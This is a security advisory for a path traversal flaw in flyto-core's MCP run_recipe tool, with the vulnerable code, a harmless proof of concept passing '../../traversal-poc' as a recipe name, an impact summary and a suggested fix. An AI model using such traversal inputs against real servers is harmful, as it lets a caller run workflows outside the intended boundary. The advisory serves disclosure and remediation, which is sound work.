# GHSA-MXCC-CR6X-2MVR: Path traversal in MCP run\_recipe allows execution of workflows outside bundled recipe directory

- Database: GitHub
- Severity: CVSS 6.3 (Medium)
- Published: 2026-07-11
- Modified: 2026-08-20

## Tracked as

- [CVE-2026-77314](https://cve.now/CVE-2026-77314.md): Flyto Core unauthorized workflow execution in MCP run\_recipe tool

## Affected versions

- flyto-core (PyPI): through 2.26.7

## Description

### Summary
`run_recipe` is intended to execute pre-built Flyto recipes by name from the bundled src/recipes directory. However, load_recipe() in src/cli/recipe.py concatenates unsanitized user-controlled recipe_name into a filesystem path:
`recipe_path = RECIPES_DIR / f"{recipe_name}.yaml"`
Because recipe_name is accepted from MCP run_recipe, an MCP caller can provide ../ path segments and cause Flyto to load a YAML workflow outside src/recipes.
### Details
Affected Code:
`src/cli/recipe.py` (line 66)
``` python
def load_recipe(recipe_name: str) -> Optional[Dict[str, Any]]:
    """Load a recipe YAML file by name."""
    recipe_path = RECIPES_DIR / f"{recipe_name}.yaml"
    if not recipe_path.exists():
        return None
    with open(recipe_path, 'r') as f:
        return yaml.safe_load(f)
```
MCP entry point: `src/core/mcp_handler.py (line 984)`
``` python
elif tool_name == "run_recipe":
    result = await run_recipe(
        recipe_name=arguments.get("recipe_name", ""),
        args=arguments.get("args", {}),
        browser_sessions=browser_sessions,
    )
```
**Trust Boundary Evidence:**
The project documents recipes as pre-built templates from the recipes directory:
`Load and execute pre-built recipe templates from the recipes/ directory.`
`list_recipes()` only enumerates s`rc/recipes/*.yaml,` and MCP describes `run_recipe` as executing a pre-built recipe “by name” after calling `list_recipes`. Path traversal lets `run_recipe` execute workflows that `list_recipes` would never disclose.

### PoC
From repo root, create a harmless workflow outside src/recipes:
``` bash
cat > traversal-poc.yaml <<'YAML'
name: Traversal POC
description: Harmless proof that run_recipe can load outside src/recipes
steps: []
YAML
```
Confirm `load_recipe()` can escape the recipe directory:
``` python
python -c 'from cli.recipe import load_recipe; print(load_recipe("../../traversal-poc"))'
```
**Expected vulnerable output:**
`{'name': 'Traversal POC', 'description': 'Harmless proof that run_recipe can load outside src/recipes', 'steps': []}`
**Validate through the MCP handler path:**
``` bash
python - <<'PY'
import asyncio
from core.mcp_handler import run_recipe

async def main():
    result = await run_recipe("../../traversal-poc", args={})
    print(result)

asyncio.run(main())
PY
```
**Expected vulnerable behavior:** the recipe is loaded and executed, rather than returning `Recipe not found.`

### Impact
An MCP caller can bypass the intended bundled recipe boundary and execute arbitrary YAML workflows reachable on the server filesystem, subject to Flyto’s module policy. This is not necessarily full RCE by itself, because dangerous modules such as shell.* may be blocked by policy, but it still allows unintended execution of allowed workflow modules such as browser, HTTP/network, file, and data-processing modules.

### Suggested Fix:
Validate recipe names and enforce resolved path containment:
``` python
import re

_RECIPE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9_.-]*$")

def load_recipe(recipe_name: str) -> Optional[Dict[str, Any]]:
    if not _RECIPE_NAME_RE.fullmatch(recipe_name):
        return None

    recipes_root = RECIPES_DIR.resolve()
    recipe_path = (recipes_root / f"{recipe_name}.yaml").resolve()

    if recipe_path.parent != recipes_root:
        return None

    if not recipe_path.exists():
        return None

    with open(recipe_path, "r", encoding="utf-8") as f:
        return yaml.safe_load(f)
```
Also add tests for `../`, absolute paths, nested separators, and valid recipe names.

## References

- https://github.com/flytohub/flyto-core/security/advisories/GHSA-mxcc-cr6x-2mvr

Page: https://cve.now/GHSA-MXCC-CR6X-2MVR
